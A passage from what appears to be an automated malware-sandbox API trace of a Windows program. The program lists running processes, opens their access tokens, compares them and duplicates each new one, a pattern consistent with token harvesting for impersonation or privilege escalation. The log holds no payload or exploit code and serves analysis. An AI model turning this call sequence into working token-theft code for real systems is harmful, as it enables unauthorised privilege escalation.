ResultLength=0x10fa78*=0x100011c10) returned 0xc0000004 [0196.505] LocalFree (hMem=0x1859f0) returned 0x0 [0196.505] LocalAlloc (uFlags=0x40, uBytes=0x4000) returned 0x1859f0 [0196.505] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1859f0, Length=0x4000, ResultLength=0x10fa78 | out: SystemInformation=0x1859f0, ResultLength=0x10fa78*=0x100011c10) returned 0xc0000004 [0196.506] LocalFree (hMem=0x1859f0) returned 0x0 [0196.506] LocalAlloc (uFlags=0x40, uBytes=0x8000) returned 0x18eb70 [0196.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x18eb70, Length=0x8000, ResultLength=0x10fa78 | out: SystemInformation=0x18eb70, ResultLength=0x10fa78*=0x100011c10) returned 0xc0000004 [0196.509] LocalFree (hMem=0x18eb70) returned 0x0 [0196.509] LocalAlloc (uFlags=0x40, uBytes=0x10000) returned 0x18eb70 [0196.509] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x18eb70, Length=0x10000, ResultLength=0x10fa78 | out: SystemInformation=0x18eb70, ResultLength=0x10fa78*=0x100011c10) returned 0xc0000004 [0196.510] LocalFree (hMem=0x18eb70) returned 0x0 [0196.510] LocalAlloc (uFlags=0x40, uBytes=0x20000) returned 0x18eb70 [0196.510] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x18eb70, Length=0x20000, ResultLength=0x10fa78 | out: SystemInformation=0x18eb70, ResultLength=0x10fa78*=0x100011c10) returned 0x0 [0196.511] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x0) returned 0x0 [0196.511] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4) returned 0x0 [0196.511] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x104) returned 0x168 [0196.511] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.511] GetCurrentProcess () returned 0xffffffffffffffff [0196.511] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x10fad0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x10fad0*=0x170) returned 1 [0196.511] CloseHandle (hObject=0x16c) returned 1 [0196.511] CloseHandle (hObject=0x168) returned 1 [0196.511] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x148) returned 0x168 [0196.511] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.511] GetCurrentProcess () returned 0xffffffffffffffff [0196.511] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.512] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bba0 [0196.512] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bba0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bba0*=0x174) returned 1 [0196.512] CloseHandle (hObject=0x16c) returned 1 [0196.512] CloseHandle (hObject=0x168) returned 1 [0196.512] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x178) returned 0x168 [0196.512] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.512] GetCurrentProcess () returned 0xffffffffffffffff [0196.512] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.512] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.512] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bbe0 [0196.512] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bbe0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bbe0*=0x178) returned 1 [0196.512] CloseHandle (hObject=0x16c) returned 1 [0196.512] CloseHandle (hObject=0x168) returned 1 [0196.512] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x184) returned 0x168 [0196.512] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.512] GetCurrentProcess () returned 0xffffffffffffffff [0196.512] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.512] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.513] GetTokenInformation (in: TokenHandle=0x174, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.513] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bb80 [0196.513] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bb80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bb80*=0x17c) returned 1 [0196.513] CloseHandle (hObject=0x16c) returned 1 [0196.513] CloseHandle (hObject=0x168) returned 1 [0196.513] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1ac) returned 0x168 [0196.513] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.513] GetCurrentProcess () returned 0xffffffffffffffff [0196.513] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.513] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bc00 [0196.513] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bc00, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bc00*=0x180) returned 1 [0196.513] CloseHandle (hObject=0x16c) returned 1 [0196.513] CloseHandle (hObject=0x168) returned 1 [0196.514] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1d8) returned 0x168 [0196.514] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.514] GetCurrentProcess () returned 0xffffffffffffffff [0196.514] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.514] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.514] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.514] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.514] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.514] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bbc0 [0196.514] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bbc0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bbc0*=0x184) returned 1 [0196.514] CloseHandle (hObject=0x16c) returned 1 [0196.514] CloseHandle (hObject=0x168) returned 1 [0196.514] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e0) returned 0x168 [0196.518] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.518] GetCurrentProcess () returned 0xffffffffffffffff [0196.518] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.518] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bc20 [0196.519] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bc20, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bc20*=0x188) returned 1 [0196.519] CloseHandle (hObject=0x16c) returned 1 [0196.519] CloseHandle (hObject=0x168) returned 1 [0196.519] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x1e8) returned 0x168 [0196.519] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.519] GetCurrentProcess () returned 0xffffffffffffffff [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.519] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.520] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.520] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bc40 [0196.563] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bc40, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bc40*=0x18c) returned 1 [0196.563] CloseHandle (hObject=0x16c) returned 1 [0196.563] CloseHandle (hObject=0x168) returned 1 [0196.563] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x250) returned 0x168 [0196.563] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.563] CloseHandle (hObject=0x168) returned 1 [0196.563] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x294) returned 0x168 [0196.563] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.563] CloseHandle (hObject=0x168) returned 1 [0196.563] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x2c8) returned 0x168 [0196.563] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.563] CloseHandle (hObject=0x168) returned 1 [0196.563] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x338) returned 0x168 [0196.563] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.563] GetCurrentProcess () returned 0xffffffffffffffff [0196.563] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bc60 [0196.564] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bc60, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bc60*=0x190) returned 1 [0196.564] CloseHandle (hObject=0x16c) returned 1 [0196.564] CloseHandle (hObject=0x168) returned 1 [0196.564] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x370) returned 0x168 [0196.564] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.564] GetCurrentProcess () returned 0xffffffffffffffff [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.564] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.565] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bc80 [0196.565] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bc80, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bc80*=0x194) returned 1 [0196.565] CloseHandle (hObject=0x16c) returned 1 [0196.565] CloseHandle (hObject=0x168) returned 1 [0196.565] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x3ac) returned 0x0 [0196.565] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0xc8) returned 0x168 [0196.565] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.565] CloseHandle (hObject=0x168) returned 1 [0196.565] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x11c) returned 0x168 [0196.565] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.565] CloseHandle (hObject=0x168) returned 1 [0196.565] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x444) returned 0x168 [0196.566] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.566] GetCurrentProcess () returned 0xffffffffffffffff [0196.566] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.566] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.566] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.566] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.566] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bca0 [0196.567] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bca0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x16bca0*=0x198) returned 1 [0196.567] CloseHandle (hObject=0x16c) returned 1 [0196.567] CloseHandle (hObject=0x168) returned 1 [0196.567] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x454) returned 0x168 [0196.567] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.567] GetCurrentProcess () returned 0xffffffffffffffff [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.567] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.568] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.568] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.568] CloseHandle (hObject=0x16c) returned 1 [0196.568] CloseHandle (hObject=0x168) returned 1 [0196.568] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x47c) returned 0x168 [0196.568] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.568] CloseHandle (hObject=0x168) returned 1 [0196.568] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4bc) returned 0x168 [0196.569] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 0 [0196.569] CloseHandle (hObject=0x168) returned 1 [0196.569] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x4c8) returned 0x168 [0196.569] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.569] GetCurrentProcess () returned 0xffffffffffffffff [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.569] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.570] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.570] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.570] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.570] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.570] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0xc, TokenInformation=0x10fa04, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa04, ReturnLength=0x10fa58) returned 1 [0196.570] GetTokenInformation (in: TokenHandle=0x198, TokenInformationClass=0xc, TokenInformation=0x10fa00, TokenInformationLength=0x4, ReturnLength=0x10fa58 | out: TokenInformation=0x10fa00, ReturnLength=0x10fa58) returned 1 [0196.570] CloseHandle (hObject=0x16c) returned 1 [0196.571] CloseHandle (hObject=0x168) returned 1 [0196.571] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x588) returned 0x168 [0196.571] OpenProcessToken (in: ProcessHandle=0x168, DesiredAccess=0xa, TokenHandle=0x10fa70 | out: TokenHandle=0x10fa70*=0x16c) returned 1 [0196.571] GetCurrentProcess () returned 0xffffffffffffffff [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x170, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x174, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x178, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x17c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x180, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x184, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x188, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x18c, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x190, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x194, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] NtCompareTokens (in: FirstTokenHandle=0x16c, SecondTokenHandle=0x198, Equal=0x10fa50 | out: Equal=0x10fa50) returned 0x0 [0196.571] LocalAlloc (uFlags=0x40, uBytes=0x18) returned 0x16bcc0 [0196.571] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x16c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x16bcc0, dwDesiredAccess=0x0, 